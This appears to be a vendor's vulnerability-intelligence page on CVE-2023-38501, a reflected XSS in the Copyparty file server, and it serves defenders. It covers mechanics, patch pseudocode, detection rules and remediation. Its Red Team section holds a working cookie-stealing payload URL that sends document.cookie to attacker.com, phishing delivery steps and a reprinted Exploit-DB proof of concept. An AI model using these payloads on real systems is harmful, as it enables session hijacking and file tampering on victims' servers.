CVE-2023-38501
Executive Summary
CVE-2023-38501 is a reflected Cross-Site Scripting (XSS) vulnerability in Copyparty, a portable file server application. Versions prior to 1.8.7 are affected. An unauthenticated attacker can inject arbitrary JavaScript into the web interface by crafting a malicious URL containing the ?k304=... or ?setck=... parameters. If a victim clicks such a link, the injected script executes in the context of their session, potentially allowing the attacker to move, delete, or upload files using the victim's account. The vulnerability has a CVSS score of 6.3 (Medium) and public proof-of-concept (PoC) code is available. The vendor has released a patch in version 1.8.7.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires user interaction (clicking a link) but can lead to significant file operations on the server, including data exfiltration and unauthorized file manipulation.
Deep Dive & Mechanics
The vulnerability resides in the handling of the k304 and setck URL parameters within the Copyparty web interface. The application fails to properly sanitize or encode user-supplied input before reflecting it in the HTTP response. An attacker can inject arbitrary HTML and JavaScript by embedding payloads in these parameters.
The core issue is that the application directly includes the parameter value in the response without proper output encoding. For example, the k304 parameter is reflected in the page content, allowing an attacker to break out of the existing context and inject a malicious script.
The provided PoC URL demonstrates this:
https://localhost:3923/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(1)%3E
The URL-encoded payload decodes to:
y
<img src=copyparty onerror=alert(1)>
The %0D%0A sequences inject carriage return and line feed characters, allowing the attacker to break out of the existing HTML context. The <img> tag with an invalid src attribute triggers the onerror event, executing the JavaScript alert(1).
An attacker can leverage this to:
- Steal session cookies by redirecting to an attacker-controlled server.
- Perform actions on behalf of the victim, such as uploading, moving, or deleting files.
- Deface the web interface.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.8.7):
The vulnerable code likely directly concatenates the k304 parameter value into the HTML response without sanitization. A simplified example:
# Vulnerable Python-like pseudocode
def handle_request(request):
k304 = request.GET.get('k304', '')
response = f"<html><body>... {k304} ...</body></html>"
return response
Patched Code (v1.8.7):
The patch (commit 007d948cb982daa05bc6619cd20ee55b7e834c38) introduces proper output encoding. The exact fix likely involves HTML-encoding the parameter value before reflection. A simplified example:
# Patched Python-like pseudocode
import html
def handle_request(request):
k304 = request.GET.get('k304', '')
safe_k304 = html.escape(k304)
response = f"<html><body>... {safe_k304} ...</body></html>"
return response
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Copyparty instance (version <= 1.8.6) running on a target.
- A victim user with an active session on the Copyparty server.
Exploit Steps:
- Craft the malicious URL: Use the provided PoC or a custom payload. For example, to steal cookies:
http://target:3923/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dthis.src%3D'http%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'%2Bdocument.cookie%3E - Deliver the link: Send the crafted URL to the victim via email, social engineering, or other means.
- Capture the cookie: Set up a listener on the attacker's server to receive the exfiltrated cookie.
- Impersonate the victim: Use the stolen cookie to access the Copyparty server and perform actions as the victim.
Full Exploit-DB Code:
# Exploit Title: copyparty v1.8.6 - Reflected Cross Site Scripting (XSS)
# Date: 23/07/2023
# Exploit Author: Vartamtezidis Theodoros (@TheHackyDog)
# Vendor Homepage: https://github.com/9001/copyparty/
# Software Link: https://github.com/9001/copyparty/releases/tag/v1.8.6
# Version: <=1.8.6
# Tested on: Debian Linux
# CVE : CVE-2023-38501
#Description
Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack.
Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.
#POC
https://localhost:3923/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(1)%3E
Usage: The PoC URL can be directly used in a browser or automated tool. Replace localhost:3923 with the target's IP and port. The alert(1) can be replaced with any JavaScript payload.
Blue Team
Detection:
- Monitor web server logs for requests containing
?k304=or?setck=with suspicious URL-encoded characters (e.g.,%0D%0A,%3C,%3E). - Look for anomalous outbound connections from the Copyparty server to unknown IPs.
- Use the detection rules provided in the Detection Engineering section.
Hunting:
- Search for any recent file uploads, moves, or deletions that were not initiated by the legitimate user.
- Review session logs for unusual activity, such as logins from unexpected IP addresses.
Containment:
- Immediately upgrade to Copyparty version 1.8.7 or later.
- If upgrade is not possible, restrict access to the Copyparty web interface using a firewall or VPN.
- Invalidate all existing user sessions and force password resets.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/with parameters?k304=or?setck=containing URL-encoded HTML/JavaScript. - Outbound HTTP requests from the Copyparty server to attacker-controlled domains (e.g., for cookie exfiltration).
- HTTP GET requests to
- File IOCs:
- Unexpected files in the Copyparty upload directory.
- Modified or deleted files that were not authorized.
- Log IOCs:
- Web server logs showing requests with
%0D%0A(CRLF injection) in the query string. - Error logs containing JavaScript execution errors.
- Web server logs showing requests with
Detection Engineering
YARA Rule
rule CVE_2023_38501_Copyparty_XSS {
meta:
description = "Detects reflected XSS attempts against Copyparty CVE-2023-38501"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-38501"
strings:
$k304 = "?k304="
$setck = "?setck="
$crlf = "%0D%0A"
$img_onerror = /<img[^>]+onerror=/
condition:
any of ($k304, $setck) and $crlf and $img_onerror
}
Sigma Rule
title: Copyparty Reflected XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting Copyparty with XSS payloads in the k304 or setck parameters.
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-38501
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '?k304='
- '?setck='
cs-uri-query|contains|all:
- '%0D%0A'
- '<img'
- 'onerror='
condition: selection
falsepositives:
- Legitimate use of the parameters with benign content (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-38501 Copyparty Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"?k304="; http_uri; content:"%0D%0A"; http_uri; content:"<img"; http_uri; content:"onerror="; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-38501
info:
name: CopyParty v1.8.6 - Cross Site Scripting
author: ctflearner,r3Y3r53
severity: medium
description: |
Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack.Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the k304 parameter to steal user session cookies when users click malicious links to CopyParty.
remediation: Fixed in v1.8.6
reference:
- https://www.exploit-db.com/exploits/51635
- https://github.com/9001/copyparty/releases/tag/v1.8.6
- https://nvd.nist.gov/vuln/detail/CVE-2023-38501
- http://packetstormsecurity.com/files/173821/Copyparty-1.8.6-Cross-Site-Scripting.html
- https://github.com/9001/copyparty/commit/007d948cb982daa05bc6619cd20ee55b7e834c38
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-38501
cwe-id: CWE-79
epss-score: 0.79633
epss-percentile: 0.99101
cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: copyparty_project
product: copyparty
shodan-query:
- title:"copyparty"
- http.title:"copyparty"
fofa-query: title="copyparty"
google-query: intitle:"copyparty"
tags: cve,cve2023,packetstorm,copyparty,xss,oss,copyparty_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(document.domain)%3E"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<img src=copyparty onerror=alert(document.domain)>","\">go to")'
condition: and
# digest: 490a0046304402205ab88a803f8d8aa90b8acbf5ccae0562c58d48d3e8e502559b3fdef31004652c0220567f68509987fd7125e64176814e8ea593b840729a43f6d768eb69c5b77f70c8:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Copyparty to version 1.8.7 or later. The patch is available at: https://github.com/9001/copyparty/releases/tag/v1.8.7
- Password Reset: Force all users to change their passwords, as session cookies may have been compromised.
- Log Review: Inspect server logs for any signs of exploitation (e.g., requests with
?k304=containing HTML/JavaScript).
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) to filter malicious requests.
- Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits and penetration testing.
- Educate users about the risks of clicking suspicious links.
Valters IT
{/* [Security Hash: 91A115D52C48560C4414BC8D] */}